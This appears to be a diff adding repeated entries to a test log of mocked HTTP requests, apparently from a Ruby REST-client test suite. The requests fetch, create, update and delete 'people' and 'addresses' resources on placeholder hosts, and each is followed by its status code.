+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 1ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
